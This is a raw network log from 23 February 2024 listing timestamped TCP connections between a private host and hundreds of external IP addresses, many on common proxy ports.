Feb 23, 2024 14:28:22.726094961 CET	50135	80	192.168.2.8	162.159.242.109
Feb 23, 2024 14:28:22.726257086 CET	80	50066	104.20.75.69	192.168.2.8
Feb 23, 2024 14:28:22.728811026 CET	4153	50156	82.194.133.209	192.168.2.8
Feb 23, 2024 14:28:22.731362104 CET	8080	50191	5.78.44.6	192.168.2.8
Feb 23, 2024 14:28:22.736958027 CET	8080	50037	45.126.168.178	192.168.2.8
Feb 23, 2024 14:28:22.737020969 CET	50017	9445	192.168.2.8	146.190.84.209
Feb 23, 2024 14:28:22.737163067 CET	50198	3128	192.168.2.8	34.83.143.6
Feb 23, 2024 14:28:22.737261057 CET	50170	80	192.168.2.8	104.27.83.183
Feb 23, 2024 14:28:22.739891052 CET	80	50221	50.222.245.44	192.168.2.8
Feb 23, 2024 14:28:22.740622997 CET	1080	50185	31.172.189.205	192.168.2.8
Feb 23, 2024 14:28:22.741585970 CET	49821	48057	192.168.2.8	75.119.145.169
Feb 23, 2024 14:28:22.741585970 CET	49864	80	192.168.2.8	50.170.90.24
Feb 23, 2024 14:28:22.741600990 CET	49766	1080	192.168.2.8	5.201.140.196
Feb 23, 2024 14:28:22.741722107 CET	49751	3786	192.168.2.8	148.72.212.212
Feb 23, 2024 14:28:22.744788885 CET	80	50085	172.67.182.150	192.168.2.8
Feb 23, 2024 14:28:22.745953083 CET	50128	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.746391058 CET	49792	80	192.168.2.8	13.229.47.109
Feb 23, 2024 14:28:22.746860027 CET	50265	4153	192.168.2.8	93.90.212.2
Feb 23, 2024 14:28:22.746989012 CET	8080	50029	103.216.50.11	192.168.2.8
Feb 23, 2024 14:28:22.747029066 CET	50264	80	192.168.2.8	222.111.18.67
Feb 23, 2024 14:28:22.747092009 CET	11351	50249	72.10.160.90	192.168.2.8
Feb 23, 2024 14:28:22.747277021 CET	80	50254	104.23.126.8	192.168.2.8
Feb 23, 2024 14:28:22.747318983 CET	50193	33466	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:22.747375011 CET	50254	80	192.168.2.8	104.23.126.8
Feb 23, 2024 14:28:22.747672081 CET	50029	8080	192.168.2.8	103.216.50.11
Feb 23, 2024 14:28:22.747672081 CET	50029	8080	192.168.2.8	103.216.50.11
Feb 23, 2024 14:28:22.747673035 CET	50254	80	192.168.2.8	104.23.126.8
Feb 23, 2024 14:28:22.747988939 CET	50139	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:22.748472929 CET	80	50211	172.67.219.60	192.168.2.8
Feb 23, 2024 14:28:22.748507977 CET	80	50211	172.67.219.60	192.168.2.8
Feb 23, 2024 14:28:22.748775005 CET	50211	80	192.168.2.8	172.67.219.60
Feb 23, 2024 14:28:22.748878956 CET	80	50190	50.204.190.234	192.168.2.8
Feb 23, 2024 14:28:22.749290943 CET	8443	49883	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:22.749396086 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:22.749396086 CET	49883	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:22.749439001 CET	80	50211	172.67.219.60	192.168.2.8
Feb 23, 2024 14:28:22.749444008 CET	49883	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:22.749485016 CET	50211	80	192.168.2.8	172.67.219.60
Feb 23, 2024 14:28:22.749710083 CET	8443	49883	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:22.750258923 CET	50266	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:22.752058983 CET	50267	40202	192.168.2.8	65.49.82.7
Feb 23, 2024 14:28:22.753274918 CET	50268	9090	192.168.2.8	45.90.104.150
Feb 23, 2024 14:28:22.753500938 CET	3129	49922	20.219.177.85	192.168.2.8
Feb 23, 2024 14:28:22.754300117 CET	50269	46523	192.168.2.8	167.99.39.82
Feb 23, 2024 14:28:22.755537033 CET	8099	50106	85.133.190.4	192.168.2.8
Feb 23, 2024 14:28:22.755997896 CET	50270	21	192.168.2.8	49.156.41.179
Feb 23, 2024 14:28:22.757081032 CET	50271	3128	192.168.2.8	155.248.213.236
Feb 23, 2024 14:28:22.757210970 CET	49772	80	192.168.2.8	153.92.214.224
Feb 23, 2024 14:28:22.757642031 CET	3129	49922	20.219.177.85	192.168.2.8
Feb 23, 2024 14:28:22.757993937 CET	49922	3129	192.168.2.8	20.219.177.85
Feb 23, 2024 14:28:22.758125067 CET	5678	50179	185.16.12.137	192.168.2.8
Feb 23, 2024 14:28:22.758446932 CET	50272	80	192.168.2.8	152.230.215.123
Feb 23, 2024 14:28:22.759341002 CET	50273	8089	192.168.2.8	111.224.11.67
Feb 23, 2024 14:28:22.759751081 CET	7777	50044	123.30.154.171	192.168.2.8
Feb 23, 2024 14:28:22.760107994 CET	50274	8080	192.168.2.8	182.253.247.140
Feb 23, 2024 14:28:22.760149956 CET	50044	7777	192.168.2.8	123.30.154.171
Feb 23, 2024 14:28:22.760394096 CET	50044	7777	192.168.2.8	123.30.154.171
Feb 23, 2024 14:28:22.761137009 CET	50275	80	192.168.2.8	41.111.243.18
Feb 23, 2024 14:28:22.762041092 CET	50276	20627	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:22.762908936 CET	50277	8111	192.168.2.8	88.99.148.60
Feb 23, 2024 14:28:22.763326883 CET	4145	50178	185.169.181.11	192.168.2.8
Feb 23, 2024 14:28:22.763879061 CET	50278	8080	192.168.2.8	63.151.67.7
Feb 23, 2024 14:28:22.763993979 CET	80	50101	172.67.181.32	192.168.2.8
Feb 23, 2024 14:28:22.764703035 CET	50279	3128	192.168.2.8	95.216.94.103
Feb 23, 2024 14:28:22.765527010 CET	50280	41541	192.168.2.8	222.165.223.139
Feb 23, 2024 14:28:22.766499043 CET	3128	49841	84.17.35.129	192.168.2.8
Feb 23, 2024 14:28:22.766700029 CET	50281	30920	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:22.767586946 CET	80	50112	104.16.226.6	192.168.2.8
Feb 23, 2024 14:28:22.767875910 CET	50282	3128	192.168.2.8	86.107.179.234
Feb 23, 2024 14:28:22.767894983 CET	8000	49839	159.65.217.197	192.168.2.8
Feb 23, 2024 14:28:22.768558025 CET	80	49850	43.231.22.229	192.168.2.8
Feb 23, 2024 14:28:22.768567085 CET	50283	3128	192.168.2.8	154.201.63.79
Feb 23, 2024 14:28:22.768857956 CET	25639	50262	67.43.227.226	192.168.2.8
Feb 23, 2024 14:28:22.769519091 CET	80	49850	43.231.22.229	192.168.2.8
Feb 23, 2024 14:28:22.769529104 CET	50284	16379	192.168.2.8	163.172.144.132
Feb 23, 2024 14:28:22.769757986 CET	49850	80	192.168.2.8	43.231.22.229
Feb 23, 2024 14:28:22.771845102 CET	80	49858	210.209.236.26	192.168.2.8
Feb 23, 2024 14:28:22.771853924 CET	80	49858	210.209.236.26	192.168.2.8
Feb 23, 2024 14:28:22.771871090 CET	80	49858	210.209.236.26	192.168.2.8
Feb 23, 2024 14:28:22.771941900 CET	49858	80	192.168.2.8	210.209.236.26
Feb 23, 2024 14:28:22.772082090 CET	49858	80	192.168.2.8	210.209.236.26
Feb 23, 2024 14:28:22.772846937 CET	49898	80	192.168.2.8	50.169.118.211
Feb 23, 2024 14:28:22.773930073 CET	50285	4153	192.168.2.8	190.2.115.33
Feb 23, 2024 14:28:22.774964094 CET	50286	80	192.168.2.8	50.174.145.15
Feb 23, 2024 14:28:22.775866032 CET	50287	62727	192.168.2.8	51.75.125.208
Feb 23, 2024 14:28:22.776210070 CET	8080	50089	46.209.54.102	192.168.2.8
Feb 23, 2024 14:28:22.776294947 CET	50288	80	192.168.2.8	49.7.11.187
Feb 23, 2024 14:28:22.777596951 CET	50289	42571	192.168.2.8	92.204.134.38
Feb 23, 2024 14:28:22.777726889 CET	50290	8080	192.168.2.8	178.115.230.243
Feb 23, 2024 14:28:22.778287888 CET	50291	443	192.168.2.8	202.159.19.213
Feb 23, 2024 14:28:22.778331041 CET	443	50291	202.159.19.213	192.168.2.8
Feb 23, 2024 14:28:22.778749943 CET	50291	443	192.168.2.8	202.159.19.213
Feb 23, 2024 14:28:22.778749943 CET	50291	443	192.168.2.8	202.159.19.213
Feb 23, 2024 14:28:22.778805017 CET	443	50291	202.159.19.213	192.168.2.8
Feb 23, 2024 14:28:22.779002905 CET	443	50291	202.159.19.213	192.168.2.8
Feb 23, 2024 14:28:22.779258966 CET	50292	4145	192.168.2.8	122.53.82.126
Feb 23, 2024 14:28:22.779433966 CET	26719	49826	162.210.192.136	192.168.2.8
Feb 23, 2024 14:28:22.780138969 CET	50293	42456	192.168.2.8	171.244.140.160
Feb 23, 2024 14:28:22.780260086 CET	50294	443	192.168.2.8	202.159.19.213
Feb 23, 2024 14:28:22.780289888 CET	443	50294	202.159.19.213	192.168.2.8
Feb 23, 2024 14:28:22.780344963 CET	50294	443	192.168.2.8	202.159.19.213
Feb 23, 2024 14:28:22.780725002 CET	50294	443	192.168.2.8	202.159.19.213
Feb 23, 2024 14:28:22.780735016 CET	443	50294	202.159.19.213	192.168.2.8
Feb 23, 2024 14:28:22.780797958 CET	443	50294	202.159.19.213	192.168.2.8
Feb 23, 2024 14:28:22.781096935 CET	50295	1080	192.168.2.8	95.216.201.74
Feb 23, 2024 14:28:22.781945944 CET	50296	12250	192.168.2.8	92.246.139.113
Feb 23, 2024 14:28:22.783767939 CET	50297	999	192.168.2.8	45.4.202.73
Feb 23, 2024 14:28:22.783936977 CET	50298	52359	192.168.2.8	188.164.196.31
Feb 23, 2024 14:28:22.784400940 CET	50299	2002	192.168.2.8	103.144.18.137
Feb 23, 2024 14:28:22.785228968 CET	50300	5678	192.168.2.8	177.222.60.138
Feb 23, 2024 14:28:22.785686016 CET	50301	30016	192.168.2.8	85.187.151.27
Feb 23, 2024 14:28:22.786340952 CET	50302	52611	192.168.2.8	37.44.238.2
Feb 23, 2024 14:28:22.786943913 CET	50303	80	192.168.2.8	103.125.160.178
Feb 23, 2024 14:28:22.787225962 CET	8081	50232	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:22.787305117 CET	50232	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:22.787705898 CET	50232	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:22.787926912 CET	50304	17158	192.168.2.8	92.205.110.47
Feb 23, 2024 14:28:22.788477898 CET	49710	5678	192.168.2.8	177.36.13.65
Feb 23, 2024 14:28:22.788494110 CET	49713	8089	192.168.2.8	117.57.93.170
Feb 23, 2024 14:28:22.788494110 CET	49711	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:22.788536072 CET	49712	3129	192.168.2.8	178.207.11.148
Feb 23, 2024 14:28:22.788721085 CET	50305	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.788748980 CET	443	50305	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.788820982 CET	50305	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.789096117 CET	50305	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.789110899 CET	443	50305	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.789191008 CET	443	50305	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.789908886 CET	50306	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.789931059 CET	443	50306	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.789990902 CET	50306	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.790143967 CET	50306	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.790158987 CET	443	50306	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.790205956 CET	443	50306	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.790617943 CET	5032	49860	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:22.790635109 CET	5032	49860	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:22.791008949 CET	50307	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.791038036 CET	443	50307	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.791474104 CET	80	50175	190.103.177.131	192.168.2.8
Feb 23, 2024 14:28:22.791533947 CET	50308	5032	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:22.791563988 CET	50307	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.791709900 CET	50307	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.791712999 CET	50175	80	192.168.2.8	190.103.177.131
Feb 23, 2024 14:28:22.791721106 CET	443	50307	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.791791916 CET	443	50307	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.791915894 CET	50175	80	192.168.2.8	190.103.177.131
Feb 23, 2024 14:28:22.792772055 CET	1080	49787	202.78.160.118	192.168.2.8
Feb 23, 2024 14:28:22.793315887 CET	50309	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.793334961 CET	443	50309	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.793432951 CET	50309	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.793652058 CET	50309	443	192.168.2.8	49.51.93.222
Feb 23, 2024 14:28:22.793669939 CET	443	50309	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.793720961 CET	443	50309	49.51.93.222	192.168.2.8
Feb 23, 2024 14:28:22.794275999 CET	8888	49978	51.15.242.202	192.168.2.8
Feb 23, 2024 14:28:22.798763037 CET	3128	49987	18.135.211.182	192.168.2.8
Feb 23, 2024 14:28:22.799662113 CET	61221	50225	177.190.192.57	192.168.2.8
Feb 23, 2024 14:28:22.803247929 CET	8080	50103	45.136.197.139	192.168.2.8
Feb 23, 2024 14:28:22.804107904 CET	49869	46249	192.168.2.8	167.172.109.12
Feb 23, 2024 14:28:22.804110050 CET	49921	19713	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:22.804116964 CET	49715	80	192.168.2.8	117.54.114.103
Feb 23, 2024 14:28:22.804119110 CET	49717	56442	192.168.2.8	134.122.43.203
Feb 23, 2024 14:28:22.804140091 CET	49714	44017	192.168.2.8	195.138.73.54
Feb 23, 2024 14:28:22.805529118 CET	14681	49853	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:22.807312965 CET	15673	50088	43.128.155.154	192.168.2.8
Feb 23, 2024 14:28:22.808753014 CET	45248	50258	166.62.121.127	192.168.2.8
Feb 23, 2024 14:28:22.809000015 CET	1731	49857	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:22.809730053 CET	3128	50073	36.95.102.111	192.168.2.8
Feb 23, 2024 14:28:22.809823036 CET	50073	3128	192.168.2.8	36.95.102.111
Feb 23, 2024 14:28:22.810776949 CET	50073	3128	192.168.2.8	36.95.102.111
Feb 23, 2024 14:28:22.811362028 CET	50310	6422	192.168.2.8	103.121.90.216
Feb 23, 2024 14:28:22.813110113 CET	80	50241	185.238.228.202	192.168.2.8
Feb 23, 2024 14:28:22.813129902 CET	80	50241	185.238.228.202	192.168.2.8
Feb 23, 2024 14:28:22.813607931 CET	80	50135	162.159.242.109	192.168.2.8
Feb 23, 2024 14:28:22.814100027 CET	50241	80	192.168.2.8	185.238.228.202
Feb 23, 2024 14:28:22.814585924 CET	50311	62963	192.168.2.8	207.244.252.14
Feb 23, 2024 14:28:22.814625978 CET	80	50241	185.238.228.202	192.168.2.8
Feb 23, 2024 14:28:22.814708948 CET	50241	80	192.168.2.8	185.238.228.202
Feb 23, 2024 14:28:22.815732002 CET	80	50252	149.202.172.113	192.168.2.8
Feb 23, 2024 14:28:22.816088915 CET	50312	80	192.168.2.8	143.198.241.47
Feb 23, 2024 14:28:22.817039967 CET	49987	3128	192.168.2.8	18.135.211.182
Feb 23, 2024 14:28:22.817122936 CET	50313	55850	192.168.2.8	193.31.119.180
Feb 23, 2024 14:28:22.818057060 CET	50314	999	192.168.2.8	181.204.27.74
Feb 23, 2024 14:28:22.818782091 CET	50315	80	192.168.2.8	58.234.116.197
Feb 23, 2024 14:28:22.819138050 CET	50316	27890	192.168.2.8	185.198.58.47
Feb 23, 2024 14:28:22.819710970 CET	49782	3129	192.168.2.8	116.130.233.22
Feb 23, 2024 14:28:22.819715977 CET	49716	21681	192.168.2.8	146.56.101.184
Feb 23, 2024 14:28:22.819797039 CET	49872	8080	192.168.2.8	177.229.210.50
Feb 23, 2024 14:28:22.819993973 CET	50317	8089	192.168.2.8	36.6.144.72
Feb 23, 2024 14:28:22.820391893 CET	50318	80	192.168.2.8	120.28.204.19
Feb 23, 2024 14:28:22.820856094 CET	50319	3629	192.168.2.8	185.97.114.179
Feb 23, 2024 14:28:22.821022034 CET	10121	49865	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:22.821084023 CET	8889	49923	8.213.128.6	192.168.2.8
Feb 23, 2024 14:28:22.821338892 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:22.821549892 CET	50320	83	192.168.2.8	103.177.235.132
Feb 23, 2024 14:28:22.822104931 CET	50321	48915	192.168.2.8	138.201.21.232
Feb 23, 2024 14:28:22.822909117 CET	25323	50247	75.119.145.169	192.168.2.8
Feb 23, 2024 14:28:22.822920084 CET	50322	80	192.168.2.8	194.34.232.107
Feb 23, 2024 14:28:22.823393106 CET	50323	80	192.168.2.8	193.231.40.182
Feb 23, 2024 14:28:22.824012041 CET	50324	35805	192.168.2.8	94.23.220.136
Feb 23, 2024 14:28:22.824598074 CET	80	50170	104.27.83.183	192.168.2.8
Feb 23, 2024 14:28:22.824774981 CET	50325	48678	192.168.2.8	222.104.128.205
Feb 23, 2024 14:28:22.825766087 CET	63551	50245	62.171.131.101	192.168.2.8
Feb 23, 2024 14:28:22.825793982 CET	50327	4145	192.168.2.8	103.35.108.198
Feb 23, 2024 14:28:22.825901031 CET	50326	3128	192.168.2.8	39.105.27.30
Feb 23, 2024 14:28:22.826773882 CET	50328	63425	192.168.2.8	51.15.21.216
Feb 23, 2024 14:28:22.827068090 CET	50329	1976	192.168.2.8	154.236.189.15
Feb 23, 2024 14:28:22.827676058 CET	50330	32048	192.168.2.8	178.32.143.55
Feb 23, 2024 14:28:22.828526974 CET	50331	3128	192.168.2.8	154.202.97.98
Feb 23, 2024 14:28:22.828902960 CET	50332	999	192.168.2.8	181.209.100.2
Feb 23, 2024 14:28:22.829735994 CET	50333	47875	192.168.2.8	171.244.10.204
Feb 23, 2024 14:28:22.830149889 CET	50334	49579	192.168.2.8	162.19.7.46
Feb 23, 2024 14:28:22.831041098 CET	50335	8080	192.168.2.8	202.162.43.241
Feb 23, 2024 14:28:22.831552029 CET	50336	18508	192.168.2.8	209.145.56.51
Feb 23, 2024 14:28:22.831820011 CET	50337	80	192.168.2.8	210.211.113.34
Feb 23, 2024 14:28:22.832792044 CET	50338	6002	192.168.2.8	186.215.87.194
Feb 23, 2024 14:28:22.833133936 CET	50339	44419	192.168.2.8	103.121.90.216
Feb 23, 2024 14:28:22.834212065 CET	50340	80	192.168.2.8	50.174.7.157
Feb 23, 2024 14:28:22.834400892 CET	50341	8080	192.168.2.8	103.133.27.143
Feb 23, 2024 14:28:22.834920883 CET	80	50254	104.23.126.8	192.168.2.8
Feb 23, 2024 14:28:22.834938049 CET	80	50254	104.23.126.8	192.168.2.8
Feb 23, 2024 14:28:22.835227966 CET	50254	80	192.168.2.8	104.23.126.8
Feb 23, 2024 14:28:22.835330009 CET	49720	999	192.168.2.8	157.100.6.202
Feb 23, 2024 14:28:22.835335016 CET	80	50254	104.23.126.8	192.168.2.8
Feb 23, 2024 14:28:22.835419893 CET	50254	80	192.168.2.8	104.23.126.8
Feb 23, 2024 14:28:22.835822105 CET	50342	4145	192.168.2.8	197.235.12.130
Feb 23, 2024 14:28:22.836052895 CET	80	50211	172.67.219.60	192.168.2.8
Feb 23, 2024 14:28:22.836105108 CET	50343	8080	192.168.2.8	188.132.222.38
Feb 23, 2024 14:28:22.837776899 CET	50344	5031	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:22.838299036 CET	5002	50144	8.210.60.44	192.168.2.8
Feb 23, 2024 14:28:22.838920116 CET	50345	58244	192.168.2.8	51.210.4.123
Feb 23, 2024 14:28:22.839014053 CET	4145	50260	107.181.161.81	192.168.2.8
Feb 23, 2024 14:28:22.839119911 CET	50260	4145	192.168.2.8	107.181.161.81
Feb 23, 2024 14:28:22.839170933 CET	50346	46330	192.168.2.8	85.173.165.36
Feb 23, 2024 14:28:22.839591026 CET	50347	8080	192.168.2.8	202.154.36.57
Feb 23, 2024 14:28:22.839606047 CET	50260	4145	192.168.2.8	107.181.161.81
Feb 23, 2024 14:28:22.839858055 CET	4145	50097	58.240.192.158	192.168.2.8
Feb 23, 2024 14:28:22.840634108 CET	3128	50072	91.189.177.190	192.168.2.8
Feb 23, 2024 14:28:22.840656042 CET	50348	32650	192.168.2.8	197.248.86.237
Feb 23, 2024 14:28:22.841118097 CET	50349	44087	192.168.2.8	185.244.36.240
Feb 23, 2024 14:28:22.841574907 CET	50350	8080	192.168.2.8	196.204.24.251
Feb 23, 2024 14:28:22.842294931 CET	50351	59410	192.168.2.8	79.143.187.58
Feb 23, 2024 14:28:22.842673063 CET	50352	15673	192.168.2.8	43.153.133.208
Feb 23, 2024 14:28:22.842730045 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:22.843790054 CET	3128	49776	193.107.104.57	192.168.2.8
Feb 23, 2024 14:28:22.843796968 CET	50353	80	192.168.2.8	153.127.194.62
Feb 23, 2024 14:28:22.844034910 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:22.844511032 CET	50354	5678	192.168.2.8	103.221.228.50
Feb 23, 2024 14:28:22.845685005 CET	50356	999	192.168.2.8	190.113.40.202
Feb 23, 2024 14:28:22.845813036 CET	50355	40009	192.168.2.8	78.140.7.239
Feb 23, 2024 14:28:22.846755028 CET	50357	31871	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:22.846875906 CET	50358	1080	192.168.2.8	193.34.237.241
Feb 23, 2024 14:28:22.847414017 CET	50359	80	192.168.2.8	104.21.6.88
Feb 23, 2024 14:28:22.848167896 CET	50360	4153	192.168.2.8	185.32.45.201
Feb 23, 2024 14:28:22.848552942 CET	50361	80	192.168.2.8	104.17.166.210
Feb 23, 2024 14:28:22.849308014 CET	50362	8899	192.168.2.8	117.160.250.138
Feb 23, 2024 14:28:22.849910975 CET	50363	34432	192.168.2.8	43.250.81.154
Feb 23, 2024 14:28:22.850769997 CET	50364	80	192.168.2.8	162.241.207.217
Feb 23, 2024 14:28:22.850960016 CET	49719	41119	192.168.2.8	194.233.78.142
Feb 23, 2024 14:28:22.850960970 CET	49900	45698	192.168.2.8	5.183.179.117
Feb 23, 2024 14:28:22.850975990 CET	49718	80	192.168.2.8	197.255.125.12
Feb 23, 2024 14:28:22.850975990 CET	49727	8181	192.168.2.8	103.83.178.42
Feb 23, 2024 14:28:22.850979090 CET	49721	10001	192.168.2.8	176.236.124.252
Feb 23, 2024 14:28:22.850979090 CET	49892	80	192.168.2.8	50.204.219.227
Feb 23, 2024 14:28:22.850991011 CET	49725	8080	192.168.2.8	94.153.252.170
Feb 23, 2024 14:28:22.850996017 CET	49885	1080	192.168.2.8	185.157.47.236
Feb 23, 2024 14:28:22.851007938 CET	49729	3128	192.168.2.8	103.78.25.99
Feb 23, 2024 14:28:22.851007938 CET	49726	999	192.168.2.8	201.77.108.64
Feb 23, 2024 14:28:22.851098061 CET	50365	50565	192.168.2.8	51.222.241.8
Feb 23, 2024 14:28:22.851396084 CET	80	49864	50.170.90.24	192.168.2.8
Feb 23, 2024 14:28:22.851722002 CET	50366	15342	192.168.2.8	188.164.193.178
Feb 23, 2024 14:28:22.852674961 CET	50367	8093	192.168.2.8	103.188.177.22
Feb 23, 2024 14:28:22.852803946 CET	80	50128	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:22.852854967 CET	50368	8089	192.168.2.8	114.106.136.163
Feb 23, 2024 14:28:22.852962017 CET	50128	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.852962017 CET	50128	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.853537083 CET	3129	50219	20.219.177.73	192.168.2.8
Feb 23, 2024 14:28:22.853669882 CET	50219	3129	192.168.2.8	20.219.177.73
Feb 23, 2024 14:28:22.853858948 CET	50369	28501	192.168.2.8	145.239.2.102
Feb 23, 2024 14:28:22.854054928 CET	50370	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:22.854573965 CET	50219	3129	192.168.2.8	20.219.177.73
Feb 23, 2024 14:28:22.854872942 CET	50371	60406	192.168.2.8	54.38.179.203
Feb 23, 2024 14:28:22.855331898 CET	50372	80	192.168.2.8	50.168.7.250
Feb 23, 2024 14:28:22.856076002 CET	50373	80	192.168.2.8	175.213.76.24
Feb 23, 2024 14:28:22.856434107 CET	50374	80	192.168.2.8	192.210.148.89
Feb 23, 2024 14:28:22.857106924 CET	50375	12682	192.168.2.8	51.255.79.114
Feb 23, 2024 14:28:22.857377052 CET	20627	50276	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:22.857501984 CET	50376	48009	192.168.2.8	196.0.111.194
Feb 23, 2024 14:28:22.858277082 CET	33328	50145	92.246.139.106	192.168.2.8
Feb 23, 2024 14:28:22.858418941 CET	50145	33328	192.168.2.8	92.246.139.106
Feb 23, 2024 14:28:22.858479023 CET	50377	80	192.168.2.8	198.44.255.3
Feb 23, 2024 14:28:22.858776093 CET	50145	33328	192.168.2.8	92.246.139.106
Feb 23, 2024 14:28:22.859016895 CET	50378	8080	192.168.2.8	195.178.56.37
Feb 23, 2024 14:28:22.859577894 CET	50379	29466	192.168.2.8	66.228.35.209
Feb 23, 2024 14:28:22.860153913 CET	50380	3128	192.168.2.8	154.202.112.70
Feb 23, 2024 14:28:22.860790014 CET	50381	32065	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:22.861830950 CET	50383	3128	192.168.2.8	103.14.224.104
Feb 23, 2024 14:28:22.861917019 CET	50382	32650	192.168.2.8	91.108.130.111
Feb 23, 2024 14:28:22.862473011 CET	50384	80	192.168.2.8	104.20.233.70
Feb 23, 2024 14:28:22.862653971 CET	2020	49939	8.213.128.6	192.168.2.8
Feb 23, 2024 14:28:22.863322020 CET	50385	80	192.168.2.8	185.162.229.215
Feb 23, 2024 14:28:22.863584042 CET	50386	5000	192.168.2.8	103.182.112.11
Feb 23, 2024 14:28:22.864428997 CET	50387	57248	192.168.2.8	151.236.39.7
Feb 23, 2024 14:28:22.864834070 CET	50388	80	192.168.2.8	68.178.161.107
Feb 23, 2024 14:28:22.865401030 CET	50389	50847	192.168.2.8	162.19.7.50
Feb 23, 2024 14:28:22.866049051 CET	50390	3128	192.168.2.8	109.123.231.232
Feb 23, 2024 14:28:22.866369963 CET	50391	80	192.168.2.8	45.12.31.140
Feb 23, 2024 14:28:22.866585970 CET	49732	5678	192.168.2.8	128.127.94.160
Feb 23, 2024 14:28:22.866586924 CET	49728	999	192.168.2.8	187.190.49.166
Feb 23, 2024 14:28:22.866599083 CET	49733	49426	192.168.2.8	188.164.196.31
Feb 23, 2024 14:28:22.866611004 CET	49736	6888	192.168.2.8	37.32.15.125
Feb 23, 2024 14:28:22.866627932 CET	49735	8080	192.168.2.8	122.52.196.36
Feb 23, 2024 14:28:22.866627932 CET	49926	80	192.168.2.8	50.222.245.46
Feb 23, 2024 14:28:22.867197037 CET	50392	8080	192.168.2.8	185.38.111.1
Feb 23, 2024 14:28:22.867954969 CET	50393	4145	192.168.2.8	184.181.217.213
Feb 23, 2024 14:28:22.868617058 CET	1081	50218	125.228.77.228	192.168.2.8
Feb 23, 2024 14:28:22.869106054 CET	50394	8811	192.168.2.8	51.158.172.165
Feb 23, 2024 14:28:22.870033979 CET	50395	8080	192.168.2.8	213.147.192.100
Feb 23, 2024 14:28:22.870068073 CET	7302	50087	60.215.109.34	192.168.2.8
Feb 23, 2024 14:28:22.871800900 CET	50396	3128	192.168.2.8	79.101.37.78
Feb 23, 2024 14:28:22.872047901 CET	50397	8080	192.168.2.8	103.169.130.17
Feb 23, 2024 14:28:22.872764111 CET	50398	8080	192.168.2.8	188.132.221.169
Feb 23, 2024 14:28:22.873262882 CET	5678	50161	119.92.71.123	192.168.2.8
Feb 23, 2024 14:28:22.873831987 CET	50399	8089	192.168.2.8	223.247.47.108
Feb 23, 2024 14:28:22.874664068 CET	50400	18351	192.168.2.8	40.134.10.174
Feb 23, 2024 14:28:22.875888109 CET	50401	80	192.168.2.8	50.207.199.80
Feb 23, 2024 14:28:22.875987053 CET	50402	80	192.168.2.8	195.35.3.117
Feb 23, 2024 14:28:22.876427889 CET	50403	80	192.168.2.8	31.43.179.214
Feb 23, 2024 14:28:22.877150059 CET	80	49898	50.169.118.211	192.168.2.8
Feb 23, 2024 14:28:22.877202988 CET	50404	4145	192.168.2.8	118.67.220.225
Feb 23, 2024 14:28:22.877603054 CET	50405	3128	192.168.2.8	104.199.219.13
Feb 23, 2024 14:28:22.878788948 CET	50406	7788	192.168.2.8	121.230.208.51
Feb 23, 2024 14:28:22.878887892 CET	50407	1080	192.168.2.8	183.89.40.232
Feb 23, 2024 14:28:22.879489899 CET	50408	8080	192.168.2.8	103.189.250.65
Feb 23, 2024 14:28:22.879724979 CET	80	50286	50.174.145.15	192.168.2.8
Feb 23, 2024 14:28:22.880232096 CET	50409	999	192.168.2.8	179.1.192.17
Feb 23, 2024 14:28:22.880614996 CET	50410	28916	192.168.2.8	108.181.133.59
Feb 23, 2024 14:28:22.881558895 CET	50411	17621	192.168.2.8	75.119.145.154
